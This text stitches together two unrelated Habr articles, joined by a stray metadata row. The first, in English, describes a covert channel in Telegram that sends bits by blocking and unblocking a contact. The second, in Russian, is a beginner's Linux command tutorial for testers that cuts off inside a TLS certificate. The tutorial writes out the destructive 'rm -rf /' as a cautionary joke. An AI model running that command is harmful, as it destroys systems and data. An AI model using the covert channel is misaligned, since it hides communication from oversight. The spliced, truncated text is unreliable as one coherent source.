There are many workarounds to transmit data between two users avoiding direct contact. You can use a middlemen, crypto- and steganography methods, broadcasting relay networks, and other extensions of existing protocols. But sometimes it’s useful being able to establish a secure contact using only officially documented features. Or as one should say, set up a [covert channel](https://en.wikipedia.org/wiki/Covert_channel).
One can find a simple example of a good covert channel in a Soviet spy movie “Seventeen Moments of Spring” (this one is, like, really good, give it a chance). In it, a flower in a window of the safe house was used as a signal of the spy failing his mission. The flower by itself does not mean anything: it can be there and could be not, such symbiosis is a common thing and only telling us about the owner’s love for flowers. Only the predetermined interpretation distinguishes the information received by a spy from the one received by a random passerby.
Flower-based channels in Telegram
---------------------------------
To organize your own covert channel by the same principle you’ll need only two things: a window and a flower. The window represents an object you can change the state of seen by others and the flower — possible states and a way of changing them.
So what Alice could change in Telegram that Bob could look at? Many things, actually: avatars, usernames, last visited time and more. But usually these things are available to everyone at the same time, limiting dialog privacy — if one possesses the transition method, anything Alice sends is not private anymore. Not so surprisingly, it is possible to get around this limitation without any kind of encryption involved.
### I'm blocking you, haha
Every user has his own blacklist, and if the reader was annoying enough, he could have noticed after being blocked that his not-already-a-friend ‘last visited’ status has been changed to ‘last seen a long time ago’. The truth is, he could have been online just a few seconds ago or even be right now, but Telegram API will not send this information to your app anymore. That way, it is protecting other user’s privacy from unwanted eyes. In exchange though, they can see if blacklisted or not.
So what are seeing a flower and being blacklisted have in common? Both could be checked at a given moment, allowing to receive one bit of information depending on if you are blocked or not. Another advantage is a fact that Telegram probably does not store logs of users blocking each other (at most for short periods in journaling purposes).
Organizing bits
---------------
A possibility to send and receive bits is fun and all, but we still need to describe its exploitation mechanism. Telegram refuses to notice you while blocked, so every ‘receive bit’ action should be initialized by the recipient (let’s call him Bob) and do not depend on the sender (she would be Alice), i. e. be independent. It also means that Alice and Bob should do requests at the same frequency.
Bit exchange algorithm on every clock looks like this:
* A checks sending a bit and if has different from the previous value changing it depending on a value:
+ A -> T: block B if bit is 1;
+ A -> T: unblock B if bit is 0.
* B receives a bit:
+ B -> T: resolve A;
+ T -> B: available to B information about A;
+ B: checks if the received information has a status it:
- B: if it is -> he is not blocked and the bit is 0
- B: if it is not -> he is blocked and the bit is 1
Most modern PCs have good internal frequency generators (a system clock, for example), so we can synchronize our clocks using them while not touching the channel to transmit anything except for the message bits. Only worth noticing that Telegram API requests, both (un)blocking and user status resolving, are network calls and do not tend to work quickly, especially if you are using proxies or a VPN. This produces a limitation: clock length should be longer, than the average response time (since we need to fit one into another) and that’s why our data transmission speed is limited.
### Encoding messages
Texts in natural languages have pretty high redundancy and messages received with errors will still be mostly readable by a human. Since Telegram is a messenger (ignoring some [crazy stuff](https://github.com/PiMaker/Teletun)) after all, we can neglect error correction limiting possible transmitting data to simple text messages.
The channel has extremely low bandwidth, that’s why we need to use the most effective message encoding available. Luckily, the name of the messenger reminds us about times such problem was a common one.
That’s why while living in the 21st century, we will encode our texts with one of the most efficient methods available to telegraphers a hundred years ago — the [the Baudot code](https://en.wikipedia.org/wiki/Baudot_code). More precisely, its final variation ITA-2 created by [Donald Murray](https://en.wikipedia.org/wiki/Donald_Murray_(inventor)) to perform fewer API calls for the most frequent symbols.
The only thing left to successfully transmit a message is to find session boundaries, so the recipient could find a sent one among the continuous bit stream. Before the transmission has started Bob is either blocked or not, and this state will not change by itself anytime soon. That’s why Alice can indicate session start by swapping it to the opposite for a single clock. At the successful end of the session, she will unblock and leave him be. He, on the other side, will continue to receive zero bits until decides they are not a part of the message — the Baudot code has no `00000` symbol.
Drawbacks of this method are: a practical impossibility to connect (you can, but it will likely require manual error correction due to the bit shift) to ongoing translation and a need to separate null symbols received with errors from ones been sent. But there all problems of the implementation.
High tech
---------
After several hours spent trying to use [an official library](https://core.telegram.org/tdlib), I got tired and wrote everything with Python using more human-friendly [Telethon](https://github.com/LonamiWebs/Telethon). It even has a synchronous-style API, which is rare today for reasons unknown. Message encoding with ITA-2 I’ve written by myself since there were nothing useful on the Internet.
Clock synchronization made using system clock (and yes, it sleep()s! in between) since it’s precise enough, considering the time required on every network API call is more than a tenth of a second in most cases. User can set transmission speed as he wills, but I recommend following ‘no more than a request per second’ rule if you don’t want to both see errors on the other side and find yourself banned by the flood prevention system. Telegram turned out to be very picky about his API usage, freezing access for a day for even a few simple (successful!) authorization attempts in a row and just random blocking during the transmission for reasons unknown.
If the user decided to use such a weird channel to exchange messages, he really should not care about any graphical user interface features. And not all systems have it anyway. That’s why I wrote my application in a form of a terminal tool. It allows to both send and receive messages (only one operation per launch tho). Of course, you can run as many copies of the program as you want to and use multiple channels simultaneously both directions.
### Using the stuff
You can read more about using this thing as both a command-line utility and a python3 library through the API at GitHub (repository linked at the end of the post). The only problem is to acquire your own API credentials (simple [manual](https://core.telegram.org/api/obtaining_api_id) is helpful enough) since Telegram does not allow to disclose mine and set according values in your local copy of a script. Everything passed through the command line arguments except for the authorization part (which by default done through the stdio) and looks like this:
```
For Alice: For Bob:
Enter your phone number: XXX | Enter your phone number: XXX
Enter auth code: YYY | Enter auth code: YYY
Started message transmission... | Listening for the message...
---++ ('O', '9') | ---++ ('O', '9')
--+-+ ('H', '#') | --+-+ ('H', '#')
+++++ (1, 1) | +++++ (1, 1)
--++- ('N', ',') | --++- ('N', ',')
--+-- (' ', ' ') | --+-- (' ', ' ')
++-++ (0, 0) | ++-++ (0, 0)
--+-+ ('H', '#') | --+-+ ('H', '#')
-++-- ('I', '8') | -++-- ('I', '8')
--+-- (' ', ' ') | --+-- (' ', ' ')
--+++ ('M', '.') | --+++ ('M', '.')
++--- ('A', '-') | ++--- ('A', '-')
-+-+- ('R', "'") | -+-+- ('R', "'")
++++- ('K', '(') | ++++- ('K', '(')
+++++ (1, 1) | +++++ (1, 1)
+-++- ('F', '!') | +-++- ('F', '!')
--+++ ('M', '.') | --+++ ('M', '.')
--+++ ('M', '.') | --+++ ('M', '.')
Done, exiting... | ----- ('', '')
| ----- ('', '')
| Automatically decoded: OH, HI MARK!..
```
Outside of the Telegram
-----------------------
Worth noticing that it is possible to implement such a channel over any messenger and/or social network in which one can detect if he got blocked by others or not. You can use my code to do so and do not reinvent the wheel. Low python’s performance will not be a limiting factor due to the low transmission speed and an API calls response time.
P.S. Special thanks to my passion's unusual love for blocking me
* [Russian version](https://habr.com/ru/post/451954/)
* [Medium mirror](https://medium.com/@labunskya/secret-telegrams-bdd2035b6e84)
* [GitHub](https://github.com/LabunskyA/covertele) | https://habr.com/ru/post/452434/ | null | en | null |
# Базовые команды Linux для тестировщиков и не только
Предисловие
===========
Всем привет! Меня зовут Саша, и я больше шести лет занимаюсь тестированием бэкенда (сервисы Linux и API). Мысль о статье у меня появилась после очередной просьбы знакомого тестировщика подсказать ему, что можно почитать по командам Linux перед собеседованием. Обычно от кандидата на позицию QA инженера требуют знание основных команд (если, конечно, подразумевается работа с Linux), но как понять, про какие команды стоит почитать во время подготовки к собеседованию, если опыта работы с Linux мало или вовсе нет?
Поэтому, хоть про это уже и много раз написано, я всё же решился написать ещё одну статью «Linux для новичков» и перечислить здесь базовые команды, которые нужно знать перед любым собеседованием в отдел (или компанию), где используют Linux. Я подумал, какие команды и утилиты и с какими параметрами я использую чаще всего, собрал фидбек от коллег, и скомпоновал это всё в одну статью. Статья условно делится на 3 части: сначала краткая информация об основах ввода-вывода в терминале Linux, затем обзор самых базовых команд, а в третьей части описывается решение типовых задач в Linux.
> У каждой команды есть много опций, здесь все они перечислены не будут. Всегда можно ввести `*man <команда>*` или `*<команда> --help*`, чтобы узнать о команде подробнее.
>
>
>
> Пример:
>
>
>
>
> ```
> [user@testhost ~]$ mkdir --help
> Usage: mkdir [OPTION]... DIRECTORY...
> Create the DIRECTORY(ies), if they do not already exist.
>
> Mandatory arguments to long options are mandatory for short options too.
> -m, --mode=MODE set file mode (as in chmod), not a=rwx - umask
> -p, --parents no error if existing, make parent directories as needed
> -v, --verbose print a message for each created directory
> -Z set SELinux security context of each created directory
> to the default type
> --context[=CTX] like -Z, or if CTX is specified then set the SELinux
> or SMACK security context to CTX
> --help display this help and exit
> --version output version information and exit
>
> GNU coreutils online help:
> For complete documentation, run: info coreutils 'mkdir invocation'
>
> ```
>
>
>
> Если какая-то команда выполняется слишком долго, её можно завершить, нажав в консоли *Ctrl+C* (процессу посылается сигнал *SIGINT*).
>
>
Немного о выводе команд
=======================
Когда запускается процесс в Linux, создаётся 3 стандартных потока данных для этого процесса: *stdin*, *stdout* и *stderr*. Они имеют номер 0, 1 и 2 соответственно. Но нас сейчас интересуют *stdout* и, в меньшей степени, *stderr*. Из названий несложно догадаться, что *stdout* используется для вывода данных, а *stderr* — для вывода сообщений об ошибках. По умолчанию при запуске команды в Linux *stdout* и *stderr* выводят всю информацию на консоль, однако, если вывод команды большой, может быть удобно перенаправить его в файл. Это можно сделать, например, так:
```
[user@testhost ~]$ man signal > man_signal
```
Если мы выведем содержимое файла *man\_signal*, то мы увидим, что оно идентично тому, что было бы при простом запуске команды `*man signal*`.
Операция перенаправления `*>*` по умолчанию использует *stdout*. Можно указать о перенаправлении *stdout* явно: `*1>*`. Аналогично можно указать о перенаправлении *stderr*: `*2>*`. Можно эти операции скомбинировать и таким образом разделить обычный вывод команды и вывод сообщений об ошибках:
```
[user@testhost ~]$ man signal 1> man_signal 2> man_signal_error_log
```
Перенаправить и *stdout*, и *stderr* в один файл можно следующим образом:
```
[user@testhost ~]$ man signal > man_signal 2>&1
```
Операция перенаправления `*2>&1*` означает перенаправление *stderr* туда же, куда направлен *stdout*.
Еще один удобный инструмент для работы с вводом-выводом (а точнее, это удобное средство межпроцессного взаимодействия) — *pipe* (или *конвейер*). Конвейеры часто используются для связи нескольких команд: *stdout* команды перенаправляется в *stdin* следующей, и так по цепочке:
```
[user@testhost ~]$ ps aux | grep docker | tail -n 2
root 1045894 0.0 0.0 7512 3704 ? Sl 16:04 0:00 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/2fbfddaf91c1bb7b9a0a6f788f3505dd7266f1139ad381d5b51ec1f47e1e7b28 -address /var/run/docker/containerd/docker-containerd.sock -containerd-binary /usr/bin/docker-containerd -runtime-root /var/run/docker/runtime-runc
531 1048313 0.0 0.0 110520 2084 pts/2 S+ 16:12 0:00 grep --color=auto docker
```
Базовые команды Linux
=====================
pwd
---
Вывести текущую (рабочую) директорию.
```
[user@testhost ~]$ pwd
/home/user
```
date
----
Вывести текущую дату и время системы.
```
[user@testhost ~]$ date
Mon Dec 16 13:37:07 UTC 2019
[user@testhost ~]$ date +%s
1576503430
```
w
-
Данная команда показывает, кто залогинен в системе. Помимо этого также на экран выводится uptime и LA (load average).
```
[user@testhost ~]$ w
05:47:17 up 377 days, 17:57, 1 user, load average: 0,00, 0,01, 0,05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user pts/0 32.175.94.241 05:47 2.00s 0.01s 0.00s w
```
ls
--
Вывести содержимое директории. Если не передать путь, то выведется содержимое текущей директории.
```
[user@testhost ~]$ pwd
/home/user
[user@testhost ~]$ ls
qqq
[user@testhost ~]$ ls /home/user
qqq
[user@testhost ~]$ ls /
bin boot cgroup dev etc home lib lib64 local lost+found media mnt opt proc root run sbin selinux srv swap sys tmp usr var
```
Лично я часто использую опции *-l* (long listing format — вывод в колонку с дополнительной информацией о файлах), *-t* (сортировка по времени изменения файла/директории) и *-r* (обратная сортировка — в сочетании с *-t* наиболее «свежие» файлы будут внизу):
```
[user@testhost ~]$ ls -ltr /
total 4194416
drwxr-xr-x 2 root root 4096 Jan 6 2012 srv
drwxr-xr-x 2 root root 4096 Jan 6 2012 selinux
drwxr-xr-x 2 root root 4096 Jan 6 2012 mnt
drwxr-xr-x 2 root root 4096 Jan 6 2012 media
drwx------ 2 root root 16384 Oct 1 2017 lost+found
drwxr-xr-x 2 root root 4096 Oct 1 2017 local
drwxr-xr-x 13 root root 4096 Oct 1 2017 usr
drwxr-xr-x 11 root root 4096 Apr 10 2018 cgroup
drwxr-xr-x 4 root root 4096 Apr 10 2018 run
-rw------- 1 root root 4294967296 Sep 10 2018 swap
dr-xr-xr-x 10 root root 4096 Dec 13 2018 lib
drwxr-xr-x 6 root root 4096 Mar 7 2019 opt
drwxr-xr-x 20 root root 4096 Mar 19 2019 var
dr-xr-xr-x 10 root root 12288 Apr 9 2019 lib64
dr-xr-xr-x 2 root root 4096 Apr 9 2019 bin
dr-xr-xr-x 4 root root 4096 Apr 9 2019 boot
dr-xr-xr-x 2 root root 12288 Apr 9 2019 sbin
dr-xr-xr-x 3229 root root 0 Jul 2 10:19 proc
drwxr-xr-x 34 root root 4096 Oct 28 13:27 home
drwxr-xr-x 93 root root 4096 Oct 30 16:00 etc
dr-xr-x--- 11 root root 4096 Nov 1 13:02 root
dr-xr-xr-x 13 root root 0 Nov 13 20:28 sys
drwxr-xr-x 16 root root 2740 Nov 26 08:55 dev
drwxrwxrwt 3 root root 4096 Nov 26 08:57 tmp
```
Есть 2 специальных имени директории: "*.*" и "*..*". Первое означает текущую директорию, второе — родительскую директорию. Их бывает удобно использовать в различных командах, в частности, *ls*:
```
[user@testhost home]$ pwd
/home
[user@testhost home]$ ls ..
bin boot cgroup dev etc home lib lib64 local lost+found media mnt opt proc root run sbin selinux srv swap sys tmp usr var
[user@testhost home]$ ls ../home/user/
qqq
```
Также есть полезная опция для вывода скрытых файлов (начинаются на "*.*") — *-a*:
```
[user@testhost ~]$ ls -a
. .. 1 .bash_history .bash_logout .bash_profile .bashrc .lesshst man_signal man_signal_error_log .mongorc.js .ssh temp test .viminfo
```
И еще можно использовать опцию *-h* — вывод в human readable формате (обратите внимание на размеры файлов):
```
[user@testhost ~]$ ls -ltrh
total 16K
-rwxrwx--x 1 user user 31 Nov 26 11:09 temp
-rw-rw-r-- 1 user user 6.0K Dec 3 16:02 1
drwxrwxr-x 2 user user 4.0K Dec 4 10:39 test
```
cd
--
Изменить текущую директорию.
```
[user@testhost ~]$ pwd
/home/user
[user@testhost ~]$ cd /home/
[user@testhost home]$ pwd
/home
```
Если не передавать имя директории в качестве аргумента, будет использоваться переменная окружения *$HOME*, то есть домашняя директория. Также может быть удобно использовать `*~*` — специальный символ, означающий *$HOME*:
```
[user@testhost etc]$ pwd
/etc
[user@testhost etc]$ cd ~/test/
[user@testhost test]$ pwd
/home/user/test
```
mkdir
-----
Создать директорию.
```
[user@testhost ~]$ mkdir test
[user@testhost ~]$ ls -ltr
total 38184
-rw-rw-r-- 1 user user 39091284 Nov 22 14:14 qqq
drwxrwxr-x 2 user user 4096 Nov 26 10:29 test
```
Иногда нужно создать определенную структуру директорий: например, директорию в директории, которой не существует. Чтобы не вводить несколько раз подряд *mkdir*, можно использовать опцию *-p* — она позволяет создать все недостающие директории в иерархии. Также с этой опцией *mkdir* не вернет ошибку, если директория существует.
```
[user@testhost ~]$ ls
qqq test
[user@testhost ~]$ mkdir test2/subtest
mkdir: cannot create directory ‘test2/subtest’: No such file or directory
[user@testhost ~]$ mkdir -p test2/subtest
[user@testhost ~]$ ls
qqq test test2
[user@testhost ~]$ ls test2/
subtest
[user@testhost ~]$ mkdir test2/subtest
mkdir: cannot create directory ‘test2/subtest’: File exists
[user@testhost ~]$ mkdir -p test2/subtest
[user@testhost ~]$ ls test2/
subtest
```
rm
--
Удалить файл.
```
[user@testhost ~]$ ls
qqq test test2
[user@testhost ~]$ rm qqq
[user@testhost ~]$ ls
test test2
```
Опция *-r* позволяет рекурсивно удалять директории со всем их содержимым, опция *-f* позволяет игнорировать ошибки при удалении (например, о несуществующем файле). Эти опции позволяют, грубо говоря, гарантированно удалить всю иерархию файлов и директорий (если на это есть права у пользователя), поэтому, их нужно использовать с осторожностью (классический пример-шутка — "*rm -rf /*", при определенных обстоятельствах удалит вам если не всю систему, то очень много важных для её работоспособности файлов).
```
[user@testhost ~]$ ls
test test2
[user@testhost ~]$ ls -ltr test2/
total 4
-rw-rw-r-- 1 user user 0 Nov 26 10:40 temp
drwxrwxr-x 2 user user 4096 Nov 26 10:40 temp_dir
[user@testhost ~]$ rm -rf test2
[user@testhost ~]$ ls
test
```
cp
--
Копировать файл или директорию.
```
[user@testhost ~]$ ls
temp test
[user@testhost ~]$ cp temp temp_clone
[user@testhost ~]$ ls
temp temp_clone test
```
У этой команды также есть опции *-r* и *-f*, их можно использовать, чтобы гарантированно скопировать иерархию директорий и папок в другое место.
mv
--
Переместить или переименовать файл или директорию.
```
[user@testhost ~]$ ls -ltr
total 4
drwxrwxr-x 2 user user 4096 Nov 26 10:29 test
-rw-rw-r-- 1 user user 0 Nov 26 10:45 temp
-rw-rw-r-- 1 user user 0 Nov 26 10:46 temp_clone
[user@testhost ~]$ ls test
[user@testhost ~]$ mv test test_renamed
[user@testhost ~]$ mv temp_clone test_renamed/
[user@testhost ~]$ ls
temp test_renamed
[user@testhost ~]$ ls test_renamed/
temp_clone
```
cat
---
Вывести содержимое файла (или файлов).
```
[user@testhost ~]$ cat temp
Content of a file.
Lalalala...
```
Также стоит обратить внимание на команды *head* (вывести *n* первых строк или байт файла) и *tail* (о ней — далее).
tail
----
Вывести *n* последних строк или байт файла.
```
[user@testhost ~]$ tail -1 temp
Lalalala...
```
Очень полезной является опция *-f* — она позволяет выводить новые данные в файле в реальном времени.
less
----
Иногда текстовый файл слишком большой, и неудобно выводить его командой *cat*. Тогда можно открыть его с помощью команды *less*: файл будет выводиться по частям, доступна навигация по этим частям, поиск и прочий простой функционал.
```
[user@testhost ~]$ less temp
```
Также может оказаться удобным вариант использования *less* с конвейером (*pipe*):
```
[user@testhost ~]$ grep "ERROR" /tmp/some.log | less
```
ps
--
Вывести список процессов.
```
[user@testhost ~]$ ps
PID TTY TIME CMD
761020 pts/2 00:00:00 bash
809720 pts/2 00:00:00 ps
```
Я сам обычно использую BSD опции "*aux*" — вывести все процессы в системе (так как процессов может быть много, я вывел только первые 5 из них, использовав конвейер (*pipe*) и команду *head*):
```
[user@testhost ~]$ ps aux | head -5
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 19692 2600 ? Ss Jul02 0:10 /sbin/init
root 2 0.0 0.0 0 0 ? S Jul02 0:03 [kthreadd]
root 4 0.0 0.0 0 0 ? I< Jul02 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< Jul02 0:00 [mm_percpu_wq]
```
Многие также используют BSD опции "*axjf*", что позволяет вывести дерево процессов (здесь я убрал часть вывода для демонстрации):
```
[user@testhost ~]$ ps axjf
PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
0 2 0 0 ? -1 S 0 0:03 [kthreadd]
2 4 0 0 ? -1 I< 0 0:00 \_ [kworker/0:0H]
2 6 0 0 ? -1 I< 0 0:00 \_ [mm_percpu_wq]
2 7 0 0 ? -1 S 0 4:08 \_ [ksoftirqd/0]
...
...
...
1 4293 4293 4293 tty6 4293 Ss+ 0 0:00 /sbin/mingetty /dev/tty6
1 532967 532964 532964 ? -1 Sl 495 0:00 /opt/td-agent/embedded/bin/ruby /usr/sbin/td-agent --log /var/log/td-agent/td-agent.log --use-v1-config --group td-agent --daemon /var/run/td-agent/td-agent.pid
532967 532970 532964 532964 ? -1 Sl 495 803:06 \_ /opt/td-agent/embedded/bin/ruby /usr/sbin/td-agent --log /var/log/td-agent/td-agent.log --use-v1-config --group td-agent --daemon /var/run/td-agent/td-agent.pid
1 537162 533357 532322 ? -1 Sl 0 5067:43 /usr/bin/dockerd --default-ulimit nofile=262144:262144 --dns=172.17.0.1
537162 537177 537177 537177 ? -1 Ssl 0 4649:28 \_ docker-containerd --config /var/run/docker/containerd/containerd.toml
537177 537579 537579 537177 ? -1 Sl 0 4:48 | \_ docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/0ee89b20deb3cf08648cd92e1f3e3c661ccffef7a0971
537579 537642 537642 537642 ? -1 Ss 1000 32:11 | | \_ /usr/bin/python /usr/bin/supervisord -c /etc/supervisord/api.conf
537642 539764 539764 537642 ? -1 S 1000 0:00 | | \_ sh -c echo "READY"; while read -r line; do echo "$line"; supervisorctl shutdown; done
537642 539767 539767 537642 ? -1 S 1000 5:09 | | \_ php-fpm: master process (/etc/php73/php-fpm.conf)
539767 783097 539767 537642 ? -1 S 1000 0:00 | | | \_ php-fpm: pool test
539767 783131 539767 537642 ? -1 S 1000 0:00 | | | \_ php-fpm: pool test
539767 783185 539767 537642 ? -1 S 1000 0:00 | | | \_ php-fpm: pool test
...
...
...
```
У этой команды много различных опций, так что при активном использовании рекомендую ознакомиться с документацией. Для большинства же случаев хватит просто знать "*ps aux*".
kill
----
Послать сигнал процессу. По умолчанию посылается сигнал *SIGTERM*, который завершает процесс.
```
[user@testhost ~]$ ps ux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
531 1027147 0.0 0.0 119956 4260 ? S 14:51 0:00 sshd: user@pts/1
531 1027149 0.0 0.0 115408 3396 pts/1 Ss 14:51 0:00 -bash
531 1027170 0.0 0.0 119956 4136 ? R 14:51 0:00 sshd: user@pts/2
531 1027180 0.0 0.0 115408 3564 pts/2 Ss 14:51 0:00 -bash
531 1033727 0.0 0.0 107960 708 pts/1 S+ 15:17 0:00 sleep 300
531 1033752 0.0 0.0 117264 2604 pts/2 R+ 15:17 0:00 ps ux
[user@testhost ~]$ kill 1033727
[user@testhost ~]$ ps ux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
531 1027147 0.0 0.0 119956 4260 ? S 14:51 0:00 sshd: user@pts/1
531 1027149 0.0 0.0 115408 3396 pts/1 Ss+ 14:51 0:00 -bash
531 1027170 0.0 0.0 119956 4136 ? R 14:51 0:00 sshd: user@pts/2
531 1027180 0.0 0.0 115408 3564 pts/2 Ss 14:51 0:00 -bash
531 1033808 0.0 0.0 117268 2492 pts/2 R+ 15:17 0:00 ps ux
```
Так как процесс может иметь обработчики сигналов, *kill* не всегда приводит к ожидаемому результату — моментальному завершению процесса. Чтобы «убить» процесс наверняка, нужно послать процессу сигнал *SIGKILL*. Однако это может привести к потере данных (например, если процесс перед завершением должен сохранить какую-то информацию на диск), так что нужно пользоваться такой командой осторожно. Номер сигнала *SIGKILL* — 9, поэтому короткий вариант команды выглядит так:
```
[user@testhost ~]$ ps ux | grep sleep
531 1034930 0.0 0.0 107960 636 pts/1 S+ 15:21 0:00 sleep 300
531 1034953 0.0 0.0 110516 2104 pts/2 S+ 15:21 0:00 grep --color=auto sleep
[user@testhost ~]$ kill -9 1034930
[user@testhost ~]$ ps ux | grep sleep
531 1035004 0.0 0.0 110516 2092 pts/2 S+ 15:22 0:00 grep --color=auto sleep
```
Помимо упомянутых *SIGTERM* и *SIGKILL* существует еще множество различных сигналов, их список можно легко найти в интернете. И не забывайте, что сигналы *SIGKILL* и *SIGSTOP* не могут быть перехвачены или проигнорированы.
ping
----
Послать хосту ICMP пакет *ECHO\_REQUEST*.
```
[user@testhost ~]$ ping google.com
PING google.com (172.217.15.78) 56(84) bytes of data.
64 bytes from iad23s63-in-f14.1e100.net (172.217.15.78): icmp_seq=1 ttl=47 time=1.85 ms
64 bytes from iad23s63-in-f14.1e100.net (172.217.15.78): icmp_seq=2 ttl=47 time=1.48 ms
64 bytes from iad23s63-in-f14.1e100.net (172.217.15.78): icmp_seq=3 ttl=47 time=1.45 ms
64 bytes from iad23s63-in-f14.1e100.net (172.217.15.78): icmp_seq=4 ttl=47 time=1.46 ms
64 bytes from iad23s63-in-f14.1e100.net (172.217.15.78): icmp_seq=5 ttl=47 time=1.45 ms
^C
--- google.com ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 1.453/1.541/1.850/0.156 ms
```
По умолчанию *ping* работает, пока его не завершить вручную. Поэтому может быть полезна опция *-c* — количество пакетов, после отправки которых *ping* завершится самостоятельно. Ещё одна опция, которую я иногда использую — *-i*, интервал между посылками пакетов.
```
[user@testhost ~]$ ping -c 3 -i 5 google.com
PING google.com (172.217.5.238) 56(84) bytes of data.
64 bytes from iad30s07-in-f238.1e100.net (172.217.5.238): icmp_seq=1 ttl=47 time=1.55 ms
64 bytes from iad30s07-in-f14.1e100.net (172.217.5.238): icmp_seq=2 ttl=47 time=1.17 ms
64 bytes from iad30s07-in-f14.1e100.net (172.217.5.238): icmp_seq=3 ttl=47 time=1.16 ms
--- google.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 10006ms
rtt min/avg/max/mdev = 1.162/1.295/1.551/0.181 ms
```
ssh
---
OpenSSH SSH клиент, позволяет подключаться к удаленному хосту.
```
MacBook-Pro-User:~ user$ ssh user@11.11.22.22
Last login: Tue Nov 26 11:27:39 2019 from another_host
[user@testhost ~]$ hostname
testhost
```
Есть много нюансов в использовании SSH, также этот клиент обладает большим количеством возможностей, поэтому при желании (или необходимости) можно почитать про это [более подробно](https://habr.com/ru/post/435546/).
scp
---
Копировать файлы между хостами (для этого используется *ssh*).
```
[user@testhost ~]$ pwd
/home/user
[user@testhost ~]$ ls
temp test_renamed
[user@testhost ~]$ exit
logout
Connection to 11.11.22.22 closed.
MacBook-Pro-Aleksandr:~ user$ scp user@11.11.22.22:/home/user/temp Downloads/
temp 100% 31 0.2KB/s 00:00
MacBook-Pro-Aleksandr:~ user$ cat Downloads/temp
Content of a file.
Lalalala...
```
rsync
-----
Также для синхронизации директорий между хостами можно использовать *rsync* (*-a* — archive mode, позволяет скопировать полностью всё содержимое директории «как есть», *-v* — вывод на консоль дополнительной информации):
```
MacBook-Pro-User:~ user$ ls Downloads/user
ls: Downloads/user: No such file or directory
MacBook-Pro-User:~ user$ rsync -av user@testhost:/home/user Downloads
receiving file list ... done
user/
user/.bash_history
user/.bash_logout
user/.bash_profile
user/.bashrc
user/.lesshst
user/.mongorc.js
user/.viminfo
user/1
user/man_signal
user/man_signal_error_log
user/temp
user/.ssh/
user/.ssh/authorized_keys
user/test/
user/test/created_today
user/test/temp_clone
sent 346 bytes received 29210 bytes 11822.40 bytes/sec
total size is 28079 speedup is 0.95
MacBook-Pro-User:~ user$ ls -a Downloads/user
. .bash_history .bash_profile .lesshst .ssh 1 man_signal_error_log test
.. .bash_logout .bashrc .mongorc.js .viminfo man_signal temp
```
echo
----
Вывести на экран строку текста.
```
[user@testhost ~]$ echo "Hello"
Hello
```
Здесь заслуживают внимания опции *-n* — не дополнять строку переносом строки в конце, и *-e* — включить интерпретацию экранирования с помощью "\".
```
[user@testhost ~]$ echo "\tHello\n"
\tHello\n
[user@testhost ~]$ echo -n "\tHello\n"
\tHello\n[user@testhost ~]$
[user@testhost ~]$ echo -ne "\tHello\n"
Hello
```
Также с помощью этой команды можно выводить значения переменных. Например, в Linux exit code последней завершенной команды хранится в специальной переменной *$?*, и таким образом можно узнать, какая именно ошибка произошла в последнем запущенном приложении:
```
[user@testhost ~]$ ls # ошибки не будет
1 man_signal man_signal_error_log temp test
[user@testhost ~]$ echo $? # получим 0 — ошибки не было
0
[user@testhost ~]$ ls qwerty # будет ошибка
ls: cannot access qwerty: No such file or directory
[user@testhost ~]$ echo $? # получим 2 — Misuse of shell builtins (according to Bash documentation)
2
[user@testhost ~]$ echo $? # последний echo отработал без ошибок, получим 0
0
```
telnet
------
Клиент для протокола TELNET. Используется для коммуникации с другим хостом.
```
[user@testhost ~]$ telnet example.com 80
Trying 93.184.216.34...
Connected to example.com.
Escape character is '^]'.
GET / HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 26 Nov 2019 11:59:18 GMT
Etag: "3147526947+gzip+ident"
Expires: Tue, 03 Dec 2019 11:59:18 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7F3B)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256
... здесь было тело ответа, которое я вырезал руками ...
```
Если нужно использовать протокол TLS (напомню, что SSL давно устарел), то *telnet* для этих целей не подойдёт. Зато подойдёт клиент *openssl*:
**Пример использования openssl с выводом ответа на GET запрос**
```
[user@testhost ~]$ openssl s_client -connect example.com:443
CONNECTED(00000003)
depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
verify return:1
depth=1 C = US, O = DigiCert Inc, CN = DigiCert SHA2 Secure Server CA
verify return:1
depth=0 C = US, ST = California, L = Los Angeles, O = Internet Corporation for Assigned Names and Numbers, OU = Technology, CN = www.example.org
verify return:1
---
Certificate chain
0 s:/C=US/ST=California/L=Los Angeles/O=Internet Corporation for Assigned Names and Numbers/OU=Technology/CN=www.example.org
i:/C=US/O=DigiCert Inc/CN=DigiCert SHA2 Secure Server CA
1 s:/C=US/O=DigiCert Inc/CN=DigiCert SHA2 Secure Server CA
i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root CA
2 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root CA
i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root CA
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIHQDCCBiigAwIBAgIQD9B43Ujxor1NDyupa2A4/jANBgkqhkiG9w0BAQsFADBN
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E
aWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTgxMTI4MDAwMDAwWhcN
MjAxMjAyMTIwMDAwWjCBpTELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3Ju
aWExFDASBgNVBAcTC0xvcyBBbmdlbGVzMTwwOgYDVQQKEzNJbnRlcm5ldCBDb3Jw
